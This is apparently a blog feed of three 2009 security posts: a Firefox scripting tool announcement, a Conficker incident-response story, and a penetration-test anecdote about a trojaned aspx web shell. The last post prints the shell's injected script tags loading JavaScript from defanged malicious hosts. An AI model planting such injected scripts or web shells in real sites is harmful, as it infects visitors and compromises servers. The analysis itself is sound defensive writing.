href='http://imthezuk.blogspot.com/2009/12/using-post-in-xsrf.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/922905191703072301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/922905191703072301'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2009/12/using-post-in-xsrf.html' title='using POST in XSRF'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-3332610322574305068</id><published>2009-12-02T13:30:00.000+02:00</published><updated>2009-12-18T16:37:58.636+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PYFFDebugger'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='SANS'/><category scheme='http://www.blogger.com/atom/ns#' term='firefox'/><category scheme='http://www.blogger.com/atom/ns#' term='python firefox debugger'/><title type='text'>PyFFDebugger - Python inside firefox</title><content type='html'>just copying this post out of my OPENRCE blog post :&lt;br /&gt;Few weeks ago I've started to write a wrapper to mozrepl, which I find quite useful. The wrapper is a python interface to controlling javascript/DOM within a current firefox session. Imagine what you can do with python within firefox? it's amazing!. You can find old versions of it (I will upload new soon) at sourceforge.  &lt;a href="http://sourceforge.net/projects/pyffdebugger/"&gt;PyFFDebugger SourceForge page&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Examples of what you can do with it : (there are better one, keep it to yourself):&lt;br /&gt;&lt;br /&gt;1. Bypass Megaupload/Rapidshare timeouts/whatever.&lt;br /&gt;2. Send automatic messages,status updates, etc on facebook.&lt;br /&gt;3. Fuzz websites and skip client security checks.&lt;br /&gt;4. XSS assistant for automatic process which in-order to check results. etc&lt;br /&gt;&lt;br /&gt;The fuzzer and XSS assistant are currently in development. Hopefully soon I'll publish those.&lt;br /&gt;&lt;br /&gt;Cheers from SANS London 2009 Event,&lt;br /&gt;Itzhak Avraham&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-3332610322574305068?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/3332610322574305068/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2009/12/pyffdebugger-python-inside-firefox.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/3332610322574305068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/3332610322574305068'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2009/12/pyffdebugger-python-inside-firefox.html' title='PyFFDebugger - Python inside firefox'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-2238883303328604077</id><published>2009-11-30T14:34:00.001+02:00</published><updated>2010-03-23T09:47:19.337+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='services.exe'/><category scheme='http://www.blogger.com/atom/ns#' term='windows 2000 crash'/><category scheme='http://www.blogger.com/atom/ns#' term='worm'/><category scheme='http://www.blogger.com/atom/ns#' term='shutdown'/><category scheme='http://www.blogger.com/atom/ns#' term='incident handeling'/><category scheme='http://www.blogger.com/atom/ns#' term='conficker'/><title type='text'>Conficker isn't gone. delayed impact incident</title><content type='html'>&lt;div dir="rtl" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: center;"&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp;Weeks ago, I came back from work at probably 18:30 P.M.&lt;br /&gt;So far, it's all good. right?&lt;br /&gt;Wrong!&lt;br /&gt;Around 19:30 I got a call that says : "leave anything you do and come to ******* (Vendor name removed - will be called "Gas-Supplier" from now on) Headquarter, there's a worm spreading and it's rebooting any computer of their operational network"&lt;br /&gt;Let me stop here for a second and explain what kind of type "Gas-Supplier" is,&amp;nbsp; "Gas-Supplier" is one of the biggest fuel station in the country. It has more than 200 stations.&lt;br /&gt;&lt;br /&gt;So, I've arrived quickly around (20:00 p.m) to see that everybody their is stress. Every person who tries to get fuel in one of these gas-stations, cannot do so, because the computer that responsible to it, gets rebooted every 1 minute.&lt;br /&gt;The first step was checking which worm was spreading and preventing it from further spread. Firewall had been put between every station to each-other on ports 445/135.&lt;br /&gt;Quick scan of the station from remote showed up that those computers are Windows 2000, SP4, Not fully patched. In-fact, they were vulnerable to almost any remote attack to SMB/RPC.&lt;br /&gt;&lt;br /&gt;You don't have time to patch [it crushes every minute, till every services like workstation service or other services for remote control [RPC] it takes like 20 seconds, and crushes after 30-40 seconds], them from remote (and they are all around the country, so going single station at the time isn't practical).&lt;br /&gt;That was the time I understood I'm going to be there all night. The CEO, a person who earns millions every-year, sat behind me for sometime and hold his head and I could have hear his self-worries, the fear in his eyes that this will be published the next day.&lt;br /&gt;&lt;br /&gt;So, I've tried to figure out remotely what was the problem, it didn't work well because of the crashes I've written above and the slow connection between the VPNs.&lt;br /&gt;I went with 2 workers of "Gas-Supplier", to the closest station, and we checked which virus is causing the computers to crash.&lt;br /&gt;Quickly, an anti-virus on safe-mode showed that it's infected with Conficker (B/C), Kido/ DownUp or any other name that applies to this worm.&lt;br /&gt;So, now we know which worm it is. Should be easier to patch, right? well.. not really.&lt;br /&gt;The conditions to patch it from remote were extremely bad. I've built scripts that copy Kaspersky's Conficker removal tool, that needs to run for a few minutes, but the computer shuts after 1 minutes, because Conficker wasn't written good enough for Windows 2000 SP4 and makes the services.exe crash.&lt;br /&gt;One of the programmer's for "Gas-Supplier" gave me a tool that message-pump the Shutdown event so it basically gave me 5:00 minutes before services.exe crashes the computer and reboots it.&lt;br /&gt;This is a message to conficker writers, please next time, don't crash services.exe on Windows 2000. If it's not safe for you to inject code, don't! You ruined my night :)&lt;br /&gt;So I've remotely put some start-up scripts do dis-infect the computers using the Kaspersky conficker removal tool (which is much better than Norton's removal tool in my opinion) and another one to patch the affected computer.&lt;br /&gt;Did it all night long, on few computer simultaneously (I had to catch it when they were up and not rebooting).&lt;br /&gt;done by 6.00 A.M.&lt;br /&gt;&lt;br /&gt;Statistics :&lt;br /&gt;0 News reports about it.&lt;br /&gt;1,000,000$++ made since by that "Gas-Supplier"&lt;br /&gt;2 coffee&lt;br /&gt;1 double espresso&lt;br /&gt;2 days off afterward&lt;br /&gt;1 weird-nice experience.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cheers.&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-2238883303328604077?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/2238883303328604077/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2009/11/conficker-isnt-gone-delayed-impact.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/2238883303328604077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/2238883303328604077'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2009/11/conficker-isnt-gone-delayed-impact.html' title='Conficker isn&apos;t gone. delayed impact incident'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-2272029376601608499</id><published>2009-11-25T12:58:00.000+02:00</published><updated>2009-12-15T19:45:30.121+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='trojan'/><category scheme='http://www.blogger.com/atom/ns#' term='computer security'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='infected shell'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='aspx shell'/><category scheme='http://www.blogger.com/atom/ns#' term='malicious software'/><title type='text'>Trojaned Shell - mystery solved</title><content type='html'>&lt;div dir="rtl" style="text-align: right;" trbidi="on"&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: left;"&gt;Once upon a time, I had a client, which requested for a full BlackBox attack on his networks. One of the IPs I got was a website which had an application I've found a vulnerability which allowed me to upload files to the remote server.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;Long story short, I've uploaded a shell for aspx files, simply by going to google and googling : "aspx shell" and the first result was actually what I needed to save my time and not writing my own shell.&lt;br /&gt;&lt;/div&gt;&lt;a href="http://www.google.co.il/search?q=aspx+shell&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a"&gt;Google Result&lt;/a&gt;. So, I've checked my shell, line by line, to see if that's okay, and indeed it looked great. I've managed to hack inside the website and even got Domain Administrator afterward.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Kde3g35OnUQ/SxUtS49uYpI/AAAAAAAAADE/DzdkkoM2nU8/s1600/aspx_shell_on_client.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Kde3g35OnUQ/SxUtS49uYpI/AAAAAAAAADE/DzdkkoM2nU8/s320/aspx_shell_on_client.JPG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Great news... why am I telling you this you probably ask yourself, that's why, I had a funny incident few weeks later. I've hacked to another website and used the same shell again, this time, I just googled it and didn't validate the code. But when I've entered my remote page at the victim's site (client), I've seen my browser goes to different websites which he can not resolve, that's why I immediately suspected I got a browser-malware, or any other process that injected code to my browser.&lt;br /&gt;&lt;br /&gt;One thing I want to clarify, &lt;span style="font-weight: bold;"&gt;I don't use Anti-Virus, simply, because I don't believe in them.&lt;/span&gt; If you've ever tried it, you know it's not hard to bypass anti-virus so he won't recognize your piece of code. I monitor my computer like a lunatic, I check if my SSDT has hooks almost every-day :). I follow on which dlls are on each process, checks services, autoruns verify, etc etc etc. like I said, lunatic :).&lt;br /&gt;&lt;br /&gt;That's why it was weird to me that I've seen the browser goes to weird places in wireshark, including some malicious sites. It was weird since I was only in one page, which I know what's the content of (since I've uploaded it to the server) and I don't do anything else which requires internet connection.&lt;br /&gt;Immediately I've started to Debug my firefox, look for suspicious strings in memory, check every single dll it had loaded, checked for arp poisoning if someone is injecting me any FRAME, absolutely NOTHING!&lt;br /&gt;&lt;br /&gt;I've started to think that my firefox came trojaned, when I've seen that in one of the scans the anti-viruses I got to check if I got something popular, saw an infected file at the SOURCE-CODE of firefox, which I've downloaded from mozilla. It was extreamly weird, too bad I've forgotten to turn of the automatic delete (since it had deleted, I couldn't examine it) - so I was sure at that point that the same virus that attacked me, had searched for the code, and put malicious code in Firefox source-code as-well! (and I actually was happy to see such a nice malicious code way of spreading :)) - but that's probably a false positive).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;a href="http://4.bp.blogspot.com/_Kde3g35OnUQ/Sw0xLyjJb6I/AAAAAAAAACY/dchX9cAzw1M/s1600/ScreenHunter_01+Nov.+25+15.25.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5408032806159347618" src="http://4.bp.blogspot.com/_Kde3g35OnUQ/Sw0xLyjJb6I/AAAAAAAAACY/dchX9cAzw1M/s320/ScreenHunter_01+Nov.+25+15.25.jpg" style="cursor: pointer; display: block; height: 119px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;(screenshot of BitDefender result's).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;By the way, that source-code bz2 file from mozilla, I havn't actually installed it, but used to check some sources where I've thought there's a little bug. Luckily it's open-source, right?&lt;br /&gt;&lt;br /&gt;Anyways, I couldn't find anything else on my computer, no more weird sniffing in wire-shark, and almost decided to format my computer, when I've decided that it only appeared on that page.&lt;br /&gt;&lt;br /&gt;Well.. I've entered to the same page, again, and viewed the source, directly it appeared to me : THE SHELL-CODE WAS TROJANED. The malicious sites that my browser tried to go to were pages which were reportedly drop-off for malicious software :&lt;br /&gt;&lt;a href="http://www.google.com/safebrowsing/diagnostic?site=omochacha.com/"&gt;Google Safe-Browsing report for omochacha[dot]com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Those lines appeared in the trojaned source-code :&lt;br /&gt;&lt;textarea cols=45 rows=6 align="left"&gt;&lt;br /&gt;&lt;script SRC=hxxp://r57.gen.tr/yazciz/ciz.js&gt;...other parts of shell&lt;script SRC=hxxp://www.r57.gen.tr/yazciz/ciz.js&gt;&lt;script SRC=hxxp://www.n0t.org/yazciz/ciz.js&gt;&lt;/textarea&gt;quite obvious, right? indeed. I've tried to download those js files for analysis, but couldn't download them (404).When I've seen the weird errors, that means the JS download from the script had worked, that's why it tried to contact bunch of other sites like the one a report has been posted above.I've tried to look if the shell-code had arrived trojaned or became infected on my computer and seen a cached google page which indicates I've probably googled it and got it trojaned in the 2nd time I've downloaded it.&lt;a href="http://209.85.129.132/search?q=cache:LMz85s-lylgJ:r57.gen.tr/aspx.txt+aspx+shell+gen.tr&amp;amp;cd=1&amp;amp;hl=en&amp;amp;ct=clnk&amp;amp;gl=il&amp;amp;client=firefox-a"&gt;GOOGLE CACHE Result for the same shell + some "EXTRA SURPRISES"&lt;/a&gt;I will try to see if there's any cache for it, and will try to analyze it.I will be going to SANS conference in London this Friday, so I won't have lots of time blogging, but till next time, cheers :)&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-2272029376601608499?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/2272029376601608499/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2009/11/trojaned-shell-mystery-solved.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/2272029376601608499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/2272029376601608499'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2009/11/trojaned-shell-mystery-solved.html' title='Trojaned Shell - mystery solved'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Kde3g35OnUQ/SxUtS49uYpI/AAAAAAAAADE/DzdkkoM2nU8/s72-c/aspx_shell_on_client.JPG' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
